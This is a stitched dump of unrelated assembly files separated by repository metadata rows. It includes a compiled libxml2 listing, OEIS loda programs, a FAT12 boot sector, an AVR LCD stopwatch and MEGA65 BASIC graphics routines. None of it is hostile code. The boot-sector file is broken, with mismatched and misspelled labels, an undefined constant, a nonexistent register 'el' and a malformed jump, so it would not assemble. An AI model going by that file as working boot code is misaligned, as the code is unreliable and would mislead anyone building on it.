; 121 : attr = attr->next;
mov edx, DWORD PTR _attr$3[ebp]
mov eax, DWORD PTR [edx+24]
mov DWORD PTR _attr$3[ebp], eax
; 122 : }
jmp $LN8@htmlGetMet
$LN22@htmlGetMet:
; 123 : }
; 124 : }
; 125 : cur = cur->next;
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+24]
mov DWORD PTR _cur$[ebp], edx
; 126 : }
jmp $found_meta$40
$LN7@htmlGetMet:
; 127 : return(NULL);
xor eax, eax
jmp $LN1@htmlGetMet
$found_content$41:
; 128 :
; 129 : found_content:
; 130 : encoding = xmlStrstr(content, BAD_CAST"charset=");
push OFFSET ??_C@_08JPKHBDLJ@charset?$DN@
mov eax, DWORD PTR _content$[ebp]
push eax
call _xmlStrstr
add esp, 8
mov DWORD PTR _encoding$[ebp], eax
; 131 : if (encoding == NULL)
cmp DWORD PTR _encoding$[ebp], 0
jne SHORT $LN29@htmlGetMet
; 132 : encoding = xmlStrstr(content, BAD_CAST"Charset=");
push OFFSET ??_C@_08BNFGJBBK@Charset?$DN@
mov ecx, DWORD PTR _content$[ebp]
push ecx
call _xmlStrstr
add esp, 8
mov DWORD PTR _encoding$[ebp], eax
$LN29@htmlGetMet:
; 133 : if (encoding == NULL)
cmp DWORD PTR _encoding$[ebp], 0
jne SHORT $LN30@htmlGetMet
; 134 : encoding = xmlStrstr(content, BAD_CAST"CHARSET=");
push OFFSET ??_C@_08HFIPAJDM@CHARSET?$DN@
mov edx, DWORD PTR _content$[ebp]
push edx
call _xmlStrstr
add esp, 8
mov DWORD PTR _encoding$[ebp], eax
$LN30@htmlGetMet:
; 135 : if (encoding != NULL) {
cmp DWORD PTR _encoding$[ebp], 0
je SHORT $LN31@htmlGetMet
; 136 : encoding += 8;
mov eax, DWORD PTR _encoding$[ebp]
add eax, 8
mov DWORD PTR _encoding$[ebp], eax
; 137 : } else {
jmp SHORT $LN32@htmlGetMet
$LN31@htmlGetMet:
; 138 : encoding = xmlStrstr(content, BAD_CAST"charset =");
push OFFSET ??_C@_09MMDENEKG@charset?5?$DN@
mov ecx, DWORD PTR _content$[ebp]
push ecx
call _xmlStrstr
add esp, 8
mov DWORD PTR _encoding$[ebp], eax
; 139 : if (encoding == NULL)
cmp DWORD PTR _encoding$[ebp], 0
jne SHORT $LN33@htmlGetMet
; 140 : encoding = xmlStrstr(content, BAD_CAST"Charset =");
push OFFSET ??_C@_09IDGJNHHG@Charset?5?$DN@
mov edx, DWORD PTR _content$[ebp]
push edx
call _xmlStrstr
add esp, 8
mov DWORD PTR _encoding$[ebp], eax
$LN33@htmlGetMet:
; 141 : if (encoding == NULL)
cmp DWORD PTR _encoding$[ebp], 0
jne SHORT $LN34@htmlGetMet
; 142 : encoding = xmlStrstr(content, BAD_CAST"CHARSET =");
push OFFSET ??_C@_09FBAMILBD@CHARSET?5?$DN@
mov eax, DWORD PTR _content$[ebp]
push eax
call _xmlStrstr
add esp, 8
mov DWORD PTR _encoding$[ebp], eax
$LN34@htmlGetMet:
; 143 : if (encoding != NULL)
cmp DWORD PTR _encoding$[ebp], 0
je SHORT $LN32@htmlGetMet
; 144 : encoding += 9;
mov ecx, DWORD PTR _encoding$[ebp]
add ecx, 9
mov DWORD PTR _encoding$[ebp], ecx
$LN32@htmlGetMet:
; 145 : }
; 146 : if (encoding != NULL) {
cmp DWORD PTR _encoding$[ebp], 0
je SHORT $LN36@htmlGetMet
$LN10@htmlGetMet:
; 147 : while ((*encoding == ' ') || (*encoding == '\t')) encoding++;
mov edx, DWORD PTR _encoding$[ebp]
movzx eax, BYTE PTR [edx]
cmp eax, 32 ; 00000020H
je SHORT $LN37@htmlGetMet
mov ecx, DWORD PTR _encoding$[ebp]
movzx edx, BYTE PTR [ecx]
cmp edx, 9
jne SHORT $LN36@htmlGetMet
$LN37@htmlGetMet:
mov eax, DWORD PTR _encoding$[ebp]
add eax, 1
mov DWORD PTR _encoding$[ebp], eax
jmp SHORT $LN10@htmlGetMet
$LN36@htmlGetMet:
; 148 : }
; 149 : return(encoding);
mov eax, DWORD PTR _encoding$[ebp]
$LN1@htmlGetMet:
; 150 : }
add esp, 24 ; 00000018H
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_htmlGetMetaEncoding ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\stdio.h
; COMDAT _snprintf
_TEXT SEGMENT
tv81 = -20 ; size = 4
__Result$1 = -16 ; size = 4
__Format$ = -12 ; size = 4
__ArgList$ = -8 ; size = 4
__Result$ = -4 ; size = 4
__Buffer$ = 8 ; size = 4
__BufferCount$ = 12 ; size = 4
__Format$ = 16 ; size = 4
_snprintf PROC ; COMDAT
; 1948 : {
push ebp
mov ebp, esp
sub esp, 20 ; 00000014H
push esi
mov eax, -858993460 ; ccccccccH
mov DWORD PTR [ebp-20], eax
mov DWORD PTR [ebp-16], eax
mov DWORD PTR [ebp-12], eax
mov DWORD PTR [ebp-8], eax
mov DWORD PTR [ebp-4], eax
mov ecx, OFFSET __A452D4A0_stdio@h
call @__CheckForDebuggerJustMyCode@4
; 1949 : int _Result;
; 1950 : va_list _ArgList;
; 1951 : __crt_va_start(_ArgList, _Format);
lea eax, DWORD PTR __Format$[ebp+4]
mov DWORD PTR __ArgList$[ebp], eax
; 1952 : #pragma warning(suppress:28719) // 28719
; 1953 : _Result = vsnprintf(_Buffer, _BufferCount, _Format, _ArgList);
mov ecx, DWORD PTR __Format$[ebp]
mov DWORD PTR __Format$[ebp], ecx
; 1440 : int const _Result = __stdio_common_vsprintf(
mov esi, esp
mov edx, DWORD PTR __ArgList$[ebp]
push edx
push 0
mov eax, DWORD PTR __Format$[ebp]
push eax
mov ecx, DWORD PTR __BufferCount$[ebp]
push ecx
mov edx, DWORD PTR __Buffer$[ebp]
push edx
call ___local_stdio_printf_options
mov ecx, DWORD PTR [eax]
or ecx, 2
mov edx, DWORD PTR [eax+4]
push edx
push ecx
call DWORD PTR __imp____stdio_common_vsprintf
add esp, 28 ; 0000001cH
cmp esi, esp
call __RTC_CheckEsp
mov DWORD PTR __Result$1[ebp], eax
; 1441 : _CRT_INTERNAL_LOCAL_PRINTF_OPTIONS | _CRT_INTERNAL_PRINTF_STANDARD_SNPRINTF_BEHAVIOR,
; 1442 : _Buffer, _BufferCount, _Format, NULL, _ArgList);
; 1443 :
; 1444 : return _Result < 0 ? -1 : _Result;
cmp DWORD PTR __Result$1[ebp], 0
jge SHORT $LN5@snprintf
mov DWORD PTR tv81[ebp], -1
jmp SHORT $LN3@snprintf
$LN5@snprintf:
mov eax, DWORD PTR __Result$1[ebp]
mov DWORD PTR tv81[ebp], eax
$LN3@snprintf:
; 1952 : #pragma warning(suppress:28719) // 28719
; 1953 : _Result = vsnprintf(_Buffer, _BufferCount, _Format, _ArgList);
mov ecx, DWORD PTR tv81[ebp]
mov DWORD PTR __Result$[ebp], ecx
; 1954 : __crt_va_end(_ArgList);
mov DWORD PTR __ArgList$[ebp], 0
; 1955 : return _Result;
mov eax, DWORD PTR __Result$[ebp]
; 1956 : }
pop esi
add esp, 20 ; 00000014H
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_snprintf ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\corecrt_stdio_config.h
; COMDAT ___local_stdio_printf_options
_TEXT SEGMENT
___local_stdio_printf_options PROC ; COMDAT
; 86 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __2CC6E67D_corecrt_stdio_config@h
call @__CheckForDebuggerJustMyCode@4
; 87 : static unsigned __int64 _OptionsStorage;
; 88 : return &_OptionsStorage;
mov eax, OFFSET ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9 ; `__local_stdio_printf_options'::`2'::_OptionsStorage
; 89 : }
cmp ebp, esp
call __RTC_CheckEsp
pop ebp
ret 0
___local_stdio_printf_options ENDP
_TEXT ENDS
END
| 22.942672 | 126 | 0.659665 |
a0cf02c27698c1fa43e023b9fbf88940a229d2fa | 650 | asm | Assembly | programs/oeis/135/A135440.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/135/A135440.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/135/A135440.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A135440: a(n) = a(n-1) + 2a(n-2).
; -1,4,2,10,14,34,62,130,254,514,1022,2050,4094,8194,16382,32770,65534,131074,262142,524290,1048574,2097154,4194302,8388610,16777214,33554434,67108862,134217730,268435454,536870914,1073741822,2147483650,4294967294,8589934594,17179869182,34359738370,68719476734,137438953474,274877906942,549755813890,1099511627774,2199023255554,4398046511102,8796093022210,17592186044414,35184372088834,70368744177662,140737488355330,281474976710654,562949953421314,1125899906842622,2251799813685250,4503599627370494,9007199254740994
mov $1,2
mov $2,$0
mov $3,$0
add $0,2
pow $1,$3
sub $2,$0
add $2,1
pow $2,$3
mul $2,2
sub $1,$2
| 46.428571 | 516 | 0.809231 |
38feec57b63b5ceff340d6382e720541529452a5 | 146 | asm | Assembly | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/chip/ys_chip7.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/chip/ys_chip7.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/chip/ys_chip7.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: ys_chip7.asm
Type: file
Size: 38906
Last-Modified: '2016-05-13T04:50:32Z'
SHA-1: 4585360FB4DACB01E02230CE77D4199E94DF1BA5
Description: null
| 20.857143 | 47 | 0.815068 |
d0400b36672f9464bcf4123997987f333bab9527 | 4,053 | asm | Assembly | 06-ilinux-fat-fs/boot.asm | weimanzhou/ilinux | b65cb77510e5a28f6342c373dea156125a8b1d42 | [
"Apache-2.0"
] | null | null | null | 06-ilinux-fat-fs/boot.asm | weimanzhou/ilinux | b65cb77510e5a28f6342c373dea156125a8b1d42 | [
"Apache-2.0"
] | null | null | null | 06-ilinux-fat-fs/boot.asm | weimanzhou/ilinux | b65cb77510e5a28f6342c373dea156125a8b1d42 | [
"Apache-2.0"
] | null | null | null | ; int 10h / ah = 0x13 document http://www.ablmcc.edu.hk/~scy/CIT/8086_bios_and_dos_interrupts.htm#int10h_13h
; define _BOOT_DEBUG_
%ifdef _BOOT_DEBUG_
org 0x0100 ; 调试状态,做成 .com 文件,可调试
%else
org 0x7c00 ; Boot 状态,BIOS将把 bootector
; 加载到 0:7c00 处并开始执行
%endif
jmp short LABEL_START
nop
BS_OEMName DB '---XX---' ; OEM string, 必须是 8 个字节
BPB_BytsPerSec DW 0x0200 ; 每扇区字节数
BPB_SecPerClus DB 0x01 ; 每簇多少个扇区
BPB_RsvdSecCnt DW 0x01 ; Boot 记录占用多少扇区
BPB_NumFATs DB 0x02 ; 共有多少 FAT 表
BPB_RootEntCnt DW 0xe0 ; 根目录文件最大数
BPB_TotSec16 DW 0x0b40 ; 逻辑扇区总数
BPB_Media DB 0xF0 ; 媒体描述符
BPB_FATSz16 DW 0x09 ; 每FAT扇区数
BPB_SecPerTrk DW 0x12 ; 每磁道扇区数
BPB_NumHeads DW 0x02 ; 磁头数(面数)
BPB_HiddSec DD 0 ; 隐藏扇区数
BPB_TotSec32 DD 0 ; 如果 wTotalSectorCount 是 0 由这个值记录扇区数
BS_DrvNum DB 0 ; 中断13的驱动器号
BS_Reserved1 DB 0 ; 未使用
BS_BootSig DB 0x29 ; 扩展引导标记(29h)
BS_VolID DD 0 ; 卷序列号
BS_VolLab DB 'snowflake01'; 卷标,必须11个字节
BS_FileSysType DB 'FAT12' ; 文件系统类型,必须8个字节''''''
stack_base equ 0x7c00
LABEL_START:
mov ax, cs
mov ds, ax
mov ss, ax
mov sp, stack_base
; 进行磁盘复位
xor ah, ah
xor dl, dl
int 13h
; 下面在A盘的根目录寻找loader.bin
mov word [W_SECTOR_NO], SECTOR_NO_OF_ROOT_DIRECTORY
LABEL_SEARCH_IN_ROOT_DIR_BEGIN:
cmp word [W_ROOT_DIR_SIZE_FOR_LOOP], 0 ; 判断根目录区是否已经读完,
jz LABEL_NO_LOADERBIN ; 如果读完表示没有找到loader.bin
dec word [W_ROOT_DIR_SIZE_FOR_LOOP]
mov ax, BASE_OF_LOADER
mov es, ax
mov bx, OFFSET_OF_LOADER
mov ax, [W_SECTOR_NO]
mov cl, 1
call read_sector
mov si, LOADER_FILE_NAME
mov di, OFFSET_OF_LOADER
cld
mov dx, 10h
LABEL_SEARCH_FOR_LOADERBIN:
cmp dx, 0
jz LABEL_GOTO_NEXT_SECTOR_IN_ROOT_DIR
dec dx
mov cx, 11
LABEL_CMP_FILENAME:
cmp cx, 0
jz LABEL_FILENAME_FOUND
dec cx
lodsb
cmp al, byte [es:di]
jz LABEL_GO_ON
jmp LABEL_DIFFERENT
LABEL_GO_ON:
inc di
jmp LABEL_CMP_FILENAME
LABEL_DIFFERENT:
and di, 0xFFE0
add di, 0x20
mov si, LOADER_FILE_NAME
jmp LABEL_SEARCH_FOR_LOADERBIN
LABEL_GOTO_NEXT_SECTOR_IN_ROOT_DIR:
add word [W_SECTOR_NO], 1
jmp LABEL_SEARCH_IN_ROOT_DIR_BEGIN
LABEL_NO_LOADERBIN:
mov dh, 2
call disp_str
%ifdef _BOOT_DEBUG_
mov ax, 0x4c00
int 21h
%else
jmp $
%endif
LABEL_FILENAME_FOUNT:
jmp $
; 进行清屏操作
mov ax, 0x0600
mov bx, 0x0700
mov cx, 0
mov dx, 0x0184f
int 0x10
mov cx, 0x09
push cs
pop es
mov bp, boot_message
call print_string
jmp $ ; 跳转到当前地址,实现循环
read_sector: ; 从第 ax 个sector开始,将el个sector读入es:bx中
push bp
mov bp, sp
sub esp, 2 ; 劈出2字节的堆栈区域保存要读的扇区数
; byte [bp-2]
mov byte [bp-2], el
push bx ; 保存bx
mov bl, [BPB_SEC_PER_TRK] ; b1: 除数
div bl ; y在al中,z在ah中
inc ah ; z++
mov cl, ah ; cl <- 起始扇区号
mov dh, al ; dh <- y
shr al, 1 ; y >> 1 (其实是y/BPB_NUM_HEADS),这里
; BPB_NUM_HEADS=2
mov ch, al ; ch <- 柱面号
and dh, 1 ; dh & 1 = 磁头号
pop bx ; 恢复bx
; 至此,*柱面号,起始扇区,磁头号*全部得到
mov dl, [BS_DRV_NUM] ; 驱动器号(0表示A盘)
.GO_ON_READING:
mov ah, 2 ; 读
mov al, byte [bp-2] ; 读al个扇区
int 13h
jc .GO_ON_READING: ; 如果读取错误,CF会被置1,这时不停的读,直到
; 正确为止
add esp, 2
pop bp
ret
DISP_STR:
mov ax, MESSAGE_LENGTH
mul dh
add ax, BOOT_MESSAGE
mov bp, ax
mov ax, ds
mov cx, MESSAGE_LENGTH
mov ax, 0x1301
mov bx, 0x0007
mov dl, 0
int 10h
ret
boot_message: dd "Booting......", 0 ; 定义一个字符串为 dd 类型,并且后要添加一个 0,表示字符串的结束
boot_message_len: ; boot_message_len - boot_message 刚好为字符串的大小
BASE_OF_LOADER equ 0x9000
OFFSET_OF_LOADER equ 0x0100
ROOT_DIR_SECTORS equ 14
; 变量
SECTOR_NO_OF_ROOT_DIRECTORY equ 19
W_ROOE_DIR_SIZE_FOR_LOOP dw RootDirSectors
W_SECTOR_NO dw 0
B_ODD db 0
; 字符串
LOADER_FILE_NAME db "LOADER BIN", 0 ; loader.bin 文件名
; 为简化代码,下面每个字符串的长度均为MESSAGE_LENGTH
MOESSAGE_LENGTH equ 9
BOOT_MESSAGE db "Booting "
MESSAGE1 db "Ready. "
MESSAGE2 db "NO LOADER"
; ============================================================================
; time n m
; n: 重复多少次
; m: 重复的代码
;
;
; $ : 当前地址
; $$ : 代表上一个代码的地址减去起始地址
; ============================================================================
times 510-($-$$) db 0 ; 填充 0
dw 0xaa55 ; 可引导扇区标志,必须是 0xaa55,不然bios无法识别
| 20.164179 | 108 | 0.684431 |
68a55449c5b1bad826dd7d4c16f842a556213f6e | 865 | asm | Assembly | programs/oeis/060/A060145.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/060/A060145.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/060/A060145.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A060145: a(n) = floor(n/tau) - floor(n/(1 + tau)).
; 0,0,1,0,1,2,1,2,1,2,3,2,3,4,3,4,3,4,5,4,5,4,5,6,5,6,7,6,7,6,7,8,7,8,9,8,9,8,9,10,9,10,9,10,11,10,11,12,11,12,11,12,13,12,13,12,13,14,13,14,15,14,15,14,15,16,15,16,17,16,17,16,17,18,17,18,17,18,19,18,19,20,19,20,19,20,21,20,21,22,21,22,21,22,23,22,23,22,23,24,23,24,25,24,25,24,25,26,25,26,25,26,27,26,27,28,27,28,27,28,29,28,29,30,29,30,29,30,31,30,31,30,31,32,31,32,33,32,33,32,33,34,33,34,33,34,35,34,35,36,35,36,35,36,37,36,37,38,37,38,37,38,39,38,39,38,39,40,39,40,41,40,41,40,41,42,41,42,43,42,43,42,43,44,43,44,43,44,45,44,45,46,45,46,45,46,47,46,47,46,47,48,47,48,49,48,49,48,49,50,49,50,51,50,51,50,51,52,51,52,51,52,53,52,53,54,53,54,53,54,55,54,55,56,55,56,55,56,57,56,57,56,57,58,57,58,59,58,59,58
trn $0,1
cal $0,339765 ; a(n) = 2*floor(n*phi) - 3*n, where phi = (1+sqrt(5))/2.
add $0,1
mov $1,$0
| 108.125 | 710 | 0.625434 |
f9e2993bfbf9c0c6f973869593b4d2b206c499cf | 505 | asm | Assembly | oeis/278/A278692.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/278/A278692.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/278/A278692.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A278692: Pisot sequence T(4,14).
; Submitted by Jon Maiga
; 4,14,49,171,596,2077,7238,25223,87897,306303,1067403,3719680,12962320,45171020,157411717,548547468,1911575138,6661446313,23213770727,80895217952,281903201529,982374694626,3423373822671,11929753885009,41572739387791,144872448909191,504850696923520,1759300875378480
add $0,3
lpb $0
sub $0,1
mov $2,$1
add $1,$3
max $2,2
trn $5,3
add $5,2
add $5,$4
mov $3,$5
add $4,$1
add $5,$2
add $1,$5
add $5,1
lpe
mov $0,$4
div $0,6
| 22.954545 | 265 | 0.714851 |
75c444eb5f34e964b3d29bc86b9e74ea6cc3862e | 3,567 | asm | Assembly | 5th set/ask5.3.asm | PolyviosPap/Microprocessors_Laboratory_NTUA | 859d8041e6199aea8652c46ba7bdf975d5b440c4 | [
"MIT"
] | null | null | null | 5th set/ask5.3.asm | PolyviosPap/Microprocessors_Laboratory_NTUA | 859d8041e6199aea8652c46ba7bdf975d5b440c4 | [
"MIT"
] | null | null | null | 5th set/ask5.3.asm | PolyviosPap/Microprocessors_Laboratory_NTUA | 859d8041e6199aea8652c46ba7bdf975d5b440c4 | [
"MIT"
] | null | null | null | .include "m16def.inc"
.def min_dek = r16
.def min_mon = r17
.def sec_dek = r18
.def sec_mon = r19
;min_dek|min_mon MIN : sec_dek|sec_mon SEC
.org 0x00
reset:
ldi r24, low(RAMEND)
out SPL, r24
ldi r24, high(RAMEND)
out SPH, r24
ser r24 ;D output. (LCD)
out DDRD, r24
clr r24 ;A input.
out DDRA, r24
start: ;Thetoume tin wra stin 00:00.
clr min_dek
clr min_mon
clr sec_dek
clr sec_mon
rcall show_time ;Emfanise tin wra.
label1:
rcall lcd_init
in r20 , PINA ;Eisodos ston r20.
label2:
sbrc r20 , 0 ;An exei patithei to PA0
rcall start ;midenise to xronometro.
sbrc r20 , 7
rcall inc_sec_mon
rcall show_time
ldi r24, low(995) ;Perimene gia 1 sec.
ldi r25, high(995)
rcall wait_msec
jmp label1
inc_sec_mon:
inc sec_mon ;Ayksise tis monades twn sec
cpi sec_mon , 10 ;kai des an exoyn ftasei to 10.
breq inc_sec_dek ;An nai, ayksise kai tis dekades,
ret ;Alliws epistrofi.
inc_sec_dek:
clr sec_mon ;Midenise tis monades twn sec,
inc sec_dek ;ayksise tis dekades klp.
cpi sec_dek , 6
breq inc_min_mon
ret
inc_min_mon:
clr sec_dek
inc min_mon
cpi min_mon , 10
breq inc_min_dek
ret
inc_min_dek:
clr min_mon
inc min_dek
cpi min_dek , 6
breq clr_min_dek
ret
clr_min_dek:
clr min_dek
ret
show_time:
mov r24, min_dek ;Oloi oi arithmoi exoun sta 4MSB tous
ori r24, 0b00110000 ;ta bits 0011 (LLHH) kai sta 4 LSB tin
rcall lcd_data ;dyadiki timh pou theloume na typwsoume.
mov r24, min_mon
ori r24, 0b00110000
rcall lcd_data
ldi r24, 0b00100000
rcall lcd_data
ldi r24, 'M'
rcall lcd_data
ldi r24, 'I'
rcall lcd_data
ldi r24, 'N'
rcall lcd_data
ldi r24, ':'
rcall lcd_data
mov r24, sec_dek
ori r24, 0b00110000
rcall lcd_data
mov r24, sec_mon
ori r24, 0b00110000
rcall lcd_data
ldi r24, 0b00100000
rcall lcd_data
ldi r24, 'S'
rcall lcd_data
ldi r24, 'E'
rcall lcd_data
ldi r24, 'C'
rcall lcd_data
ret
;--------------------------------------------------------------------------;
write_2_nibbles:
push r24
in r25 , PIND
andi r25 , 0x0f
andi r24 , 0xf0
add r24 , r25
out PORTD , r24
sbi PORTD , PD3
cbi PORTD , PD3
pop r24
swap r24
andi r24 , 0xf0
add r24 , r25
out PORTD , r24
sbi PORTD , PD3
cbi PORTD , PD3
ret
lcd_data:
sbi PORTD , PD2
rcall write_2_nibbles
ldi r24 , 43
ldi r25 , 0
rcall wait_usec
ret
lcd_command:
cbi PORTD , PD2
rcall write_2_nibbles
ldi r24 , 39
ldi r25 , 0
rcall wait_usec
ret
lcd_init:
ldi r24 , 40
ldi r25 , 0
rcall wait_msec
ldi r24 , 0x30
out PORTD , r24
sbi PORTD , PD3
cbi PORTD , PD3
ldi r24 , 39
ldi r25 , 0
rcall wait_usec
ldi r24 , 0x30
out PORTD , r24
sbi PORTD , PD3
cbi PORTD , PD3
ldi r24 , 39
ldi r25 , 0
rcall wait_usec
ldi r24 , 0x20
out PORTD , r24
sbi PORTD , PD3
cbi PORTD , PD3
ldi r24 , 39
ldi r25 , 0
rcall wait_usec
ldi r24 , 0x28
rcall lcd_command
ldi r24 , 0x0c
rcall lcd_command
ldi r24 , 0x01
rcall lcd_command
ldi r24 , low(1530)
ldi r25 , high(1530)
rcall wait_usec
ldi r24 , 0x06
rcall lcd_command
ret
wait_usec:
sbiw r24 , 1
nop
nop
nop
nop
brne wait_usec
ret
wait_msec:
push r24
push r25
ldi r24 , low(998)
ldi r25 , high(998)
rcall wait_usec
pop r25
pop r24
sbiw r24 , 1
brne wait_msec
ret | 16.362385 | 77 | 0.621811 |
97041276e2f36cc7670f53f9e92ac89e39ff4605 | 281 | asm | Assembly | programs/oeis/061/A061005.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/061/A061005.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/061/A061005.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A061005: (Nearest integer to n^6/36) / 2.
; 0,1,10,57,217,648,1634,3641,7381,13889,24605,41472,67039,104577,158203,233017,335244,472392,653415,888889,1191196,1574721,2056054,2654208,3390842,4290497,5380840,6692921,8261435,10125000,12326440
add $0,1
pow $0,6
add $0,13
div $0,72
| 35.125 | 197 | 0.765125 |
18e8e679fcdeda4a47e30e3c8c3d297d3c0170a4 | 358 | asm | Assembly | programs/oeis/188/A188825.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/188/A188825.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/188/A188825.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A188825: Number of 3Xn binary arrays without the pattern 0 1 diagonally or antidiagonally
; 8,16,48,144,432,1296,3888,11664,34992,104976,314928,944784,2834352,8503056,25509168,76527504,229582512,688747536,2066242608,6198727824,18596183472,55788550416,167365651248,502096953744,1506290861232
mov $1,3
pow $1,$0
mul $1,2
sub $1,2
div $1,3
mul $1,8
add $1,8
| 32.545455 | 200 | 0.793296 |
2943260f4cb0bb8ca1a6df2544fb4276726db387 | 24,525 | asm | Assembly | source/function/graphics/bump.asm | mega65dev/rom-assembler | 1670a56a8246dcdcc18e83b345d577eba686cf32 | [
"MIT"
] | null | null | null | source/function/graphics/bump.asm | mega65dev/rom-assembler | 1670a56a8246dcdcc18e83b345d577eba686cf32 | [
"MIT"
] | null | null | null | source/function/graphics/bump.asm | mega65dev/rom-assembler | 1670a56a8246dcdcc18e83b345d577eba686cf32 | [
"MIT"
] | null | null | null | ; ********************************************************************************************
; ********************************************************************************************
;
; Name : bump.asm
; Purpose : ..
; Created : 15th Nov 1991
; Updated : 4th Jan 2021
; Authors : Fred Bowen
;
; ********************************************************************************************
; ********************************************************************************************
;******************************************************************
;* BUMP - read sprite collision
;*
;* Syntax : BUMP (argument)
;*
;* Where : argument = [1..2]
;* 1 : sprite/sprite collision
;* 2 : sprite/background collision
;******************************************************************
bump jsr chkcls
jsr conint ; get arg in .X
dex ; adjust [1..2] to [0..1]
cpx #2
+lbcs fcerr ; value error
sei
ldy collisions,x ; get recorded collisions
lda #0 ; reset them
sta collisions,x
cli
+lbra sngflt ; float 1 byte arg in .Y
;.end
; GRAPHIC3.SRC
;****************************************************************
; getang - set cosine & sine values
; results in sinval & cosval based as a fraction
; - over 65536
; angsgn = angle phase (0-3)
; on input vwork+y = 2 byte angle
;***************************************************************
getang
jsr settwo ; move angle value into y/a
gtang1 ldx #0 ; init count of phase
l305_1 inx
sec
sbc #90 ; subtract 90 until less than 0
bcs l305_1
dey
bpl l305_1
stx angsgn ; save phase (here it is 1-4)
pha
adc #90 ; make positive
jsr l305_2 ; do division by 10
pla ; get 2's comp of angle
clc
eor #$ff
adc #1 ; make positive
dec angsgn ; correct phase
l305_2 ldx #$ff
l305_3 inx ; do division by 10
sec
sbc #10
bcs l305_3
adc #10 ; make positive
sta vtemp1 ; save remainder
txa
asl ; get quotient*2 as index
tax
lda angval+1,x ; get low byte base
ldy angval,x ; get high byte value
l305_4 clc
dec vtemp1
bmi l305_5 ; done - remainder = 0
adc incval+1,x ; add low byte increment
pha
tya
adc incval,x ; add high byte increment
tay
pla
bcc l305_4 ; ...always
l305_5 pha ; save low byte of result
ldx #0 ; point to sinval
lda angsgn
lsr
bcs l305_6 ; skip if sine value
ldx #2 ; point to cosval
l305_6 pla
sta sinval,x ; save low byte result
tya
sta sinval+1,x ; save high byte result
rts
;*************************************************************
; angmlt - multiple 2-byte integer times angle
; carry set/reset = cosine/sine
;
; vwork+x = 2-byte integer
; result left in y/a
;*************************************************************
angmlt
ldy #sinval-vwork ; get offset to angle value
bcc l306_1 ; get cosine/sine offset
ldy #cosval-vwork
l306_1 lda angsgn
adc #2 ; correct phase for cosine to look as sine
lsr
lsr
php ; save if carry - means negative angle value
jsr settwo ; get angle fraction in y/a
cpy #$ff ; test if value should be 1
bcc l306_2 ; skip if not
txa
tay ; get offset to integer
jsr settwo ; just get integer - multiplied by 1
bcs l306_3
l306_2 jsr twobyt ; multiply integer times angle value
l306_3 plp ; get sign of angle
bcc invert ; invert result if negative,do rts
rts
;*************************************************************
; angdst - set up values for distance * angles
; vwork+x = x & y distances
; a = angles : ang1,ang2,ang3,ang4,0,0,0,0
; get xdist1 = xdist1 * angle-1
; ydist1 = ydist1 * angle-2
; xdist2 = xdist2 * angle-3
; ydist2 = ydist2 * angle-4
;*************************************************************
;
;angdst
; sta angcnt ;save angles
; ldx #xdist1-vwork
;angd10
; asl angcnt
; jsr angmlt ;multiply angle * distance
; sta vwork,x
; tya ;save results
; sta vwork+1,x
; inx ;point to next distance
; inx
; cpx #disend-vwork
; bcc angd10 ;loop 4 times
;angd20 rts
;.end
